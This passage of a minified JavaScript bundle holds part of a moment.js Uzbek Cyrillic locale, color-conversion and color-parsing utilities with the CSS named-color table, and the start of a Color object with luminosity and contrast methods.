0430\u043d\u0431\u0430_\u041f\u0430\u0439\u0448\u0430\u043d\u0431\u0430_\u0416\u0443\u043c\u0430_\u0428\u0430\u043d\u0431\u0430".split("_"),weekdaysShort:"\u042f\u043a\u0448_\u0414\u0443\u0448_\u0421\u0435\u0448_\u0427\u043e\u0440_\u041f\u0430\u0439_\u0416\u0443\u043c_\u0428\u0430\u043d".split("_"),weekdaysMin:"\u042f\u043a_\u0414\u0443_\u0421\u0435_\u0427\u043e_\u041f\u0430_\u0416\u0443_\u0428\u0430".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[\u0411\u0443\u0433\u0443\u043d \u0441\u043e\u0430\u0442] LT [\u0434\u0430]",nextDay:"[\u042d\u0440\u0442\u0430\u0433\u0430] LT [\u0434\u0430]",nextWeek:"dddd [\u043a\u0443\u043d\u0438 \u0441\u043e\u0430\u0442] LT [\u0434\u0430]",lastDay:"[\u041a\u0435\u0447\u0430 \u0441\u043e\u0430\u0442] LT [\u0434\u0430]",lastWeek:"[\u0423\u0442\u0433\u0430\u043d] dddd [\u043a\u0443\u043d\u0438 \u0441\u043e\u0430\u0442] LT [\u0434\u0430]",sameElse:"L"},relativeTime:{future:"\u042f\u043a\u0438\u043d %s \u0438\u0447\u0438\u0434\u0430",past:"\u0411\u0438\u0440 \u043d\u0435\u0447\u0430 %s \u043e\u043b\u0434\u0438\u043d",s:"\u0444\u0443\u0440\u0441\u0430\u0442",ss:"%d \u0444\u0443\u0440\u0441\u0430\u0442",m:"\u0431\u0438\u0440 \u0434\u0430\u043a\u0438\u043a\u0430",mm:"%d \u0434\u0430\u043a\u0438\u043a\u0430",h:"\u0431\u0438\u0440 \u0441\u043e\u0430\u0442",hh:"%d \u0441\u043e\u0430\u0442",d:"\u0431\u0438\u0440 \u043a\u0443\u043d",dd:"%d \u043a\u0443\u043d",M:"\u0431\u0438\u0440 \u043e\u0439",MM:"%d \u043e\u0439",y:"\u0431\u0438\u0440 \u0439\u0438\u043b",yy:"%d \u0439\u0438\u043b"},week:{dow:1,doy:7}})}(n("wd/R"))},"MO+k":function(e,t,n){e.exports=function(e){"use strict";e=e&&e.hasOwnProperty("default")?e.default:e;var t={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},n=function(e,n){return function(e){var n={};for(var a in t)t.hasOwnProperty(a)&&(n[t[a]]=a);var r=e.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var i in r)if(r.hasOwnProperty(i)){if(!("channels"in r[i]))throw new Error("missing channels property: "+i);if(!("labels"in r[i]))throw new Error("missing channel labels property: "+i);if(r[i].labels.length!==r[i].channels)throw new Error("channel and label counts mismatch: "+i);var s=r[i].channels,o=r[i].labels;delete r[i].channels,delete r[i].labels,Object.defineProperty(r[i],"channels",{value:s}),Object.defineProperty(r[i],"labels",{value:o})}r.rgb.hsl=function(e){var t,n,a=e[0]/255,r=e[1]/255,i=e[2]/255,s=Math.min(a,r,i),o=Math.max(a,r,i),l=o-s;return o===s?t=0:a===o?t=(r-i)/l:r===o?t=2+(i-a)/l:i===o&&(t=4+(a-r)/l),(t=Math.min(60*t,360))<0&&(t+=360),n=(s+o)/2,[t,100*(o===s?0:n<=.5?l/(o+s):l/(2-o-s)),100*n]},r.rgb.hsv=function(e){var t,n,a,r,i,s=e[0]/255,o=e[1]/255,l=e[2]/255,d=Math.max(s,o,l),u=d-Math.min(s,o,l),c=function(e){return(d-e)/6/u+.5};return 0===u?r=i=0:(i=u/d,t=c(s),n=c(o),a=c(l),s===d?r=a-n:o===d?r=1/3+t-a:l===d&&(r=2/3+n-t),r<0?r+=1:r>1&&(r-=1)),[360*r,100*i,100*d]},r.rgb.hwb=function(e){var t=e[0],n=e[1],a=e[2];return[r.rgb.hsl(e)[0],1/255*Math.min(t,Math.min(n,a))*100,100*(a=1-1/255*Math.max(t,Math.max(n,a)))]},r.rgb.cmyk=function(e){var t,n=e[0]/255,a=e[1]/255,r=e[2]/255;return[100*((1-n-(t=Math.min(1-n,1-a,1-r)))/(1-t)||0),100*((1-a-t)/(1-t)||0),100*((1-r-t)/(1-t)||0),100*t]},r.rgb.keyword=function(e){var a=n[e];if(a)return a;var r,i,s,o=1/0;for(var l in t)if(t.hasOwnProperty(l)){var d=(i=e,s=t[l],Math.pow(i[0]-s[0],2)+Math.pow(i[1]-s[1],2)+Math.pow(i[2]-s[2],2));d<o&&(o=d,r=l)}return r},r.keyword.rgb=function(e){return t[e]},r.rgb.xyz=function(e){var t=e[0]/255,n=e[1]/255,a=e[2]/255;return[100*(.4124*(t=t>.04045?Math.pow((t+.055)/1.055,2.4):t/12.92)+.3576*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)+.1805*(a=a>.04045?Math.pow((a+.055)/1.055,2.4):a/12.92)),100*(.2126*t+.7152*n+.0722*a),100*(.0193*t+.1192*n+.9505*a)]},r.rgb.lab=function(e){var t=r.rgb.xyz(e),n=t[0],a=t[1],i=t[2];return a/=100,i/=108.883,n=(n/=95.047)>.008856?Math.pow(n,1/3):7.787*n+16/116,[116*(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116)-16,500*(n-a),200*(a-(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116))]},r.hsl.rgb=function(e){var t,n,a,r,i,s=e[0]/360,o=e[1]/100,l=e[2]/100;if(0===o)return[i=255*l,i,i];t=2*l-(n=l<.5?l*(1+o):l+o-l*o),r=[0,0,0];for(var d=0;d<3;d++)(a=s+1/3*-(d-1))<0&&a++,a>1&&a--,r[d]=255*(i=6*a<1?t+6*(n-t)*a:2*a<1?n:3*a<2?t+(n-t)*(2/3-a)*6:t);return r},r.hsl.hsv=function(e){var t=e[0],n=e[1]/100,a=e[2]/100,r=n,i=Math.max(a,.01);return n*=(a*=2)<=1?a:2-a,r*=i<=1?i:2-i,[t,100*(0===a?2*r/(i+r):2*n/(a+n)),(a+n)/2*100]},r.hsv.rgb=function(e){var t=e[0]/60,n=e[1]/100,a=e[2]/100,r=Math.floor(t)%6,i=t-Math.floor(t),s=255*a*(1-n),o=255*a*(1-n*i),l=255*a*(1-n*(1-i));switch(a*=255,r){case 0:return[a,l,s];case 1:return[o,a,s];case 2:return[s,a,l];case 3:return[s,o,a];case 4:return[l,s,a];case 5:return[a,s,o]}},r.hsv.hsl=function(e){var t,n,a,r=e[0],i=e[1]/100,s=e[2]/100,o=Math.max(s,.01);return a=(2-i)*s,n=i*o,[r,100*(n=(n/=(t=(2-i)*o)<=1?t:2-t)||0),100*(a/=2)]},r.hwb.rgb=function(e){var t,n,a,r,i,s,o,l=e[0]/360,d=e[1]/100,u=e[2]/100,c=d+u;switch(c>1&&(d/=c,u/=c),a=6*l-(t=Math.floor(6*l)),0!=(1&t)&&(a=1-a),r=d+a*((n=1-u)-d),t){default:case 6:case 0:i=n,s=r,o=d;break;case 1:i=r,s=n,o=d;break;case 2:i=d,s=n,o=r;break;case 3:i=d,s=r,o=n;break;case 4:i=r,s=d,o=n;break;case 5:i=n,s=d,o=r}return[255*i,255*s,255*o]},r.cmyk.rgb=function(e){var t=e[1]/100,n=e[2]/100,a=e[3]/100;return[255*(1-Math.min(1,e[0]/100*(1-a)+a)),255*(1-Math.min(1,t*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a))]},r.xyz.rgb=function(e){var t,n,a,r=e[0]/100,i=e[1]/100,s=e[2]/100;return n=-.9689*r+1.8758*i+.0415*s,a=.0557*r+-.204*i+1.057*s,t=(t=3.2406*r+-1.5372*i+-.4986*s)>.0031308?1.055*Math.pow(t,1/2.4)-.055:12.92*t,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,a=a>.0031308?1.055*Math.pow(a,1/2.4)-.055:12.92*a,[255*(t=Math.min(Math.max(0,t),1)),255*(n=Math.min(Math.max(0,n),1)),255*(a=Math.min(Math.max(0,a),1))]},r.xyz.lab=function(e){var t=e[0],n=e[1],a=e[2];return n/=100,a/=108.883,t=(t/=95.047)>.008856?Math.pow(t,1/3):7.787*t+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(t-n),200*(n-(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116))]},r.lab.xyz=function(e){var t,n,a;t=e[1]/500+(n=(e[0]+16)/116),a=n-e[2]/200;var r=Math.pow(n,3),i=Math.pow(t,3),s=Math.pow(a,3);return n=r>.008856?r:(n-16/116)/7.787,t=i>.008856?i:(t-16/116)/7.787,a=s>.008856?s:(a-16/116)/7.787,[t*=95.047,n*=100,a*=108.883]},r.lab.lch=function(e){var t,n=e[0],a=e[1],r=e[2];return(t=360*Math.atan2(r,a)/2/Math.PI)<0&&(t+=360),[n,Math.sqrt(a*a+r*r),t]},r.lch.lab=function(e){var t,n=e[1];return t=e[2]/360*2*Math.PI,[e[0],n*Math.cos(t),n*Math.sin(t)]},r.rgb.ansi16=function(e){var t=e[0],n=e[1],a=e[2],i=1 in arguments?arguments[1]:r.rgb.hsv(e)[2];if(0===(i=Math.round(i/50)))return 30;var s=30+(Math.round(a/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return 2===i&&(s+=60),s},r.hsv.ansi16=function(e){return r.rgb.ansi16(r.hsv.rgb(e),e[2])},r.rgb.ansi256=function(e){var t=e[0],n=e[1],a=e[2];return t===n&&n===a?t<8?16:t>248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/255*5)+6*Math.round(n/255*5)+Math.round(a/255*5)},r.ansi16.rgb=function(e){var t=e%10;if(0===t||7===t)return e>50&&(t+=3.5),[t=t/10.5*255,t,t];var n=.5*(1+~~(e>50));return[(1&t)*n*255,(t>>1&1)*n*255,(t>>2&1)*n*255]},r.ansi256.rgb=function(e){if(e>=232){var t=10*(e-232)+8;return[t,t,t]}var n;return e-=16,[Math.floor(e/36)/5*255,Math.floor((n=e%36)/6)/5*255,n%6/5*255]},r.rgb.hex=function(e){var t=(((255&Math.round(e[0]))<<16)+((255&Math.round(e[1]))<<8)+(255&Math.round(e[2]))).toString(16).toUpperCase();return"000000".substring(t.length)+t},r.hex.rgb=function(e){var t=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!t)return[0,0,0];var n=t[0];3===t[0].length&&(n=n.split("").map((function(e){return e+e})).join(""));var a=parseInt(n,16);return[a>>16&255,a>>8&255,255&a]},r.rgb.hcg=function(e){var t,n=e[0]/255,a=e[1]/255,r=e[2]/255,i=Math.max(Math.max(n,a),r),s=Math.min(Math.min(n,a),r),o=i-s;return t=o<=0?0:i===n?(a-r)/o%6:i===a?2+(r-n)/o:4+(n-a)/o+4,t/=6,[360*(t%=1),100*o,100*(o<1?s/(1-o):0)]},r.hsl.hcg=function(e){var t,n=e[1]/100,a=e[2]/100,r=0;return(t=a<.5?2*n*a:2*n*(1-a))<1&&(r=(a-.5*t)/(1-t)),[e[0],100*t,100*r]},r.hsv.hcg=function(e){var t=e[2]/100,n=e[1]/100*t,a=0;return n<1&&(a=(t-n)/(1-n)),[e[0],100*n,100*a]},r.hcg.rgb=function(e){var t=e[1]/100,n=e[2]/100;if(0===t)return[255*n,255*n,255*n];var a,r=[0,0,0],i=e[0]/360%1*6,s=i%1,o=1-s;switch(Math.floor(i)){case 0:r[0]=1,r[1]=s,r[2]=0;break;case 1:r[0]=o,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=s;break;case 3:r[0]=0,r[1]=o,r[2]=1;break;case 4:r[0]=s,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=o}return[255*(t*r[0]+(a=(1-t)*n)),255*(t*r[1]+a),255*(t*r[2]+a)]},r.hcg.hsv=function(e){var t=e[1]/100,n=t+e[2]/100*(1-t),a=0;return n>0&&(a=t/n),[e[0],100*a,100*n]},r.hcg.hsl=function(e){var t=e[1]/100,n=e[2]/100*(1-t)+.5*t,a=0;return n>0&&n<.5?a=t/(2*n):n>=.5&&n<1&&(a=t/(2*(1-n))),[e[0],100*a,100*n]},r.hcg.hwb=function(e){var t=e[1]/100,n=t+e[2]/100*(1-t);return[e[0],100*(n-t),100*(1-n)]},r.hwb.hcg=function(e){var t=1-e[2]/100,n=t-e[1]/100,a=0;return n<1&&(a=(t-n)/(1-n)),[e[0],100*n,100*a]},r.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},r.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},r.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},r.gray.hsl=r.gray.hsv=function(e){return[0,0,e[0]]},r.gray.hwb=function(e){return[0,100,e[0]]},r.gray.cmyk=function(e){return[0,0,0,e[0]]},r.gray.lab=function(e){return[e[0],0,0]},r.gray.hex=function(e){var t=255&Math.round(e[0]/100*255),n=((t<<16)+(t<<8)+t).toString(16).toUpperCase();return"000000".substring(n.length)+n},r.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}}(n={exports:{}}),n.exports}();function a(e,t){return function(n){return t(e(n))}}function r(e,t){for(var r=[t[e].parent,e],i=n[t[e].parent][e],s=t[e].parent;t[s].parent;)r.unshift(t[s].parent),i=a(n[t[s].parent][s],i),s=t[s].parent;return i.conversion=r,i}var i={};Object.keys(n).forEach((function(e){i[e]={},Object.defineProperty(i[e],"channels",{value:n[e].channels}),Object.defineProperty(i[e],"labels",{value:n[e].labels});var t=function(e){for(var t=function(e){var t=function(){for(var e={},t=Object.keys(n),a=t.length,r=0;r<a;r++)e[t[r]]={distance:-1,parent:null};return e}(),a=[e];for(t[e].distance=0;a.length;)for(var r=a.pop(),i=Object.keys(n[r]),s=i.length,o=0;o<s;o++){var l=i[o],d=t[l];-1===d.distance&&(d.distance=t[r].distance+1,d.parent=r,a.unshift(l))}return t}(e),a={},i=Object.keys(t),s=i.length,o=0;o<s;o++){var l=i[o];null!==t[l].parent&&(a[l]=r(l,t))}return a}(e);Object.keys(t).forEach((function(n){var a=t[n];i[e][n]=function(e){var t=function(t){if(null==t)return t;arguments.length>1&&(t=Array.prototype.slice.call(arguments));var n=e(t);if("object"==typeof n)for(var a=n.length,r=0;r<a;r++)n[r]=Math.round(n[r]);return n};return"conversion"in e&&(t.conversion=e.conversion),t}(a),i[e][n].raw=function(e){var t=function(t){return null==t?t:(arguments.length>1&&(t=Array.prototype.slice.call(arguments)),e(t))};return"conversion"in e&&(t.conversion=e.conversion),t}(a)}))}));var s=i,o={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},l={getRgba:d,getHsla:u,getRgb:function(e){var t=d(e);return t&&t.slice(0,3)},getHsl:function(e){var t=u(e);return t&&t.slice(0,3)},getHwb:c,getAlpha:function(e){var t=d(e);return t||(t=u(e))||(t=c(e))?t[3]:void 0},hexString:function(e,t){return t=void 0!==t&&3===e.length?t:e[3],"#"+p(e[0])+p(e[1])+p(e[2])+(t>=0&&t<1?p(Math.round(255*t)):"")},rgbString:function(e,t){return t<1||e[3]&&e[3]<1?h(e,t):"rgb("+e[0]+", "+e[1]+", "+e[2]+")"},rgbaString:h,percentString:function(e,t){return t<1||e[3]&&e[3]<1?m(e,t):"rgb("+Math.round(e[0]/255*100)+"%, "+Math.round(e[1]/255*100)+"%, "+Math.round(e[2]/255*100)+"%)"},percentaString:m,hslString:function(e,t){return t<1||e[3]&&e[3]<1?_(e,t):"hsl("+e[0]+", "+e[1]+"%, "+e[2]+"%)"},hslaString:_,hwbString:function(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hwb("+e[0]+", "+e[1]+"%, "+e[2]+"%"+(void 0!==t&&1!==t?", "+t:"")+")"},keyword:function(e){return g[e.slice(0,3)]}};function d(e){if(e){var t=[0,0,0],n=1,a=e.match(/^#([a-fA-F0-9]{3,4})$/i),r="";if(a){r=(a=a[1])[3];for(var i=0;i<t.length;i++)t[i]=parseInt(a[i]+a[i],16);r&&(n=Math.round(parseInt(r+r,16)/255*100)/100)}else if(a=e.match(/^#([a-fA-F0-9]{6}([a-fA-F0-9]{2})?)$/i)){for(r=a[2],a=a[1],i=0;i<t.length;i++)t[i]=parseInt(a.slice(2*i,2*i+2),16);r&&(n=Math.round(parseInt(r,16)/255*100)/100)}else if(a=e.match(/^rgba?\(\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(i=0;i<t.length;i++)t[i]=parseInt(a[i+1]);n=parseFloat(a[4])}else if(a=e.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(i=0;i<t.length;i++)t[i]=Math.round(2.55*parseFloat(a[i+1]));n=parseFloat(a[4])}else if(a=e.match(/(\w+)/)){if("transparent"==a[1])return[0,0,0,0];if(!(t=o[a[1]]))return}for(i=0;i<t.length;i++)t[i]=f(t[i],0,255);return n=n||0==n?f(n,0,1):1,t[3]=n,t}}function u(e){if(e){var t=e.match(/^hsla?\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var n=parseFloat(t[4]);return[f(parseInt(t[1]),0,360),f(parseFloat(t[2]),0,100),f(parseFloat(t[3]),0,100),f(isNaN(n)?1:n,0,1)]}}}function c(e){if(e){var t=e.match(/^hwb\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var n=parseFloat(t[4]);return[f(parseInt(t[1]),0,360),f(parseFloat(t[2]),0,100),f(parseFloat(t[3]),0,100),f(isNaN(n)?1:n,0,1)]}}}function h(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"rgba("+e[0]+", "+e[1]+", "+e[2]+", "+t+")"}function m(e,t){return"rgba("+Math.round(e[0]/255*100)+"%, "+Math.round(e[1]/255*100)+"%, "+Math.round(e[2]/255*100)+"%, "+(t||e[3]||1)+")"}function _(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hsla("+e[0]+", "+e[1]+"%, "+e[2]+"%, "+t+")"}function f(e,t,n){return Math.min(Math.max(t,e),n)}function p(e){var t=e.toString(16).toUpperCase();return t.length<2?"0"+t:t}var g={};for(var b in o)g[o[b]]=b;var y=function(e){return e instanceof y?e:this instanceof y?(this.valid=!1,this.values={rgb:[0,0,0],hsl:[0,0,0],hsv:[0,0,0],hwb:[0,0,0],cmyk:[0,0,0,0],alpha:1},void("string"==typeof e?(t=l.getRgba(e))?this.setValues("rgb",t):(t=l.getHsla(e))?this.setValues("hsl",t):(t=l.getHwb(e))&&this.setValues("hwb",t):"object"==typeof e&&(void 0!==(t=e).r||void 0!==t.red?this.setValues("rgb",t):void 0!==t.l||void 0!==t.lightness?this.setValues("hsl",t):void 0!==t.v||void 0!==t.value?this.setValues("hsv",t):void 0!==t.w||void 0!==t.whiteness?this.setValues("hwb",t):void 0===t.c&&void 0===t.cyan||this.setValues("cmyk",t)))):new y(e);var t};y.prototype={isValid:function(){return this.valid},rgb:function(){return this.setSpace("rgb",arguments)},hsl:function(){return this.setSpace("hsl",arguments)},hsv:function(){return this.setSpace("hsv",arguments)},hwb:function(){return this.setSpace("hwb",arguments)},cmyk:function(){return this.setSpace("cmyk",arguments)},rgbArray:function(){return this.values.rgb},hslArray:function(){return this.values.hsl},hsvArray:function(){return this.values.hsv},hwbArray:function(){var e=this.values;return 1!==e.alpha?e.hwb.concat([e.alpha]):e.hwb},cmykArray:function(){return this.values.cmyk},rgbaArray:function(){var e=this.values;return e.rgb.concat([e.alpha])},hslaArray:function(){var e=this.values;return e.hsl.concat([e.alpha])},alpha:function(e){return void 0===e?this.values.alpha:(this.setValues("alpha",e),this)},red:function(e){return this.setChannel("rgb",0,e)},green:function(e){return this.setChannel("rgb",1,e)},blue:function(e){return this.setChannel("rgb",2,e)},hue:function(e){return e&&(e=(e%=360)<0?360+e:e),this.setChannel("hsl",0,e)},saturation:function(e){return this.setChannel("hsl",1,e)},lightness:function(e){return this.setChannel("hsl",2,e)},saturationv:function(e){return this.setChannel("hsv",1,e)},whiteness:function(e){return this.setChannel("hwb",1,e)},blackness:function(e){return this.setChannel("hwb",2,e)},value:function(e){return this.setChannel("hsv",2,e)},cyan:function(e){return this.setChannel("cmyk",0,e)},magenta:function(e){return this.setChannel("cmyk",1,e)},yellow:function(e){return this.setChannel("cmyk",2,e)},black:function(e){return this.setChannel("cmyk",3,e)},hexString:function(){return l.hexString(this.values.rgb)},rgbString:function(){return l.rgbString(this.values.rgb,this.values.alpha)},rgbaString:function(){return l.rgbaString(this.values.rgb,this.values.alpha)},percentString:function(){return l.percentString(this.values.rgb,this.values.alpha)},hslString:function(){return l.hslString(this.values.hsl,this.values.alpha)},hslaString:function(){return l.hslaString(this.values.hsl,this.values.alpha)},hwbString:function(){return l.hwbString(this.values.hwb,this.values.alpha)},keyword:function(){return l.keyword(this.values.rgb,this.values.alpha)},rgbNumber:function(){var e=this.values.rgb;return e[0]<<16|e[1]<<8|e[2]},luminosity:function(){for(var e=this.values.rgb,t=[],n=0;n<e.length;n++){var a=e[n]/255;t[n]=a<=.03928?a/12.92:Math.pow((a+.055)/1.055,2.4)}return.2126*t[0]+.7152*t[1]+.0722*t[2]},contrast:function(e){var t=this.luminosity(),n=e.luminosity();return t>n?(t+.05)/(n+.05):(n+.05)/(t+.05)},level:function(e){var t=this.contrast(e);return t>=7.1?"AAA":t>=4.5?"AA":""},dark:function(){var e=this.values.rgb;return(299*e[0]+587*e[1]+114*e[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var 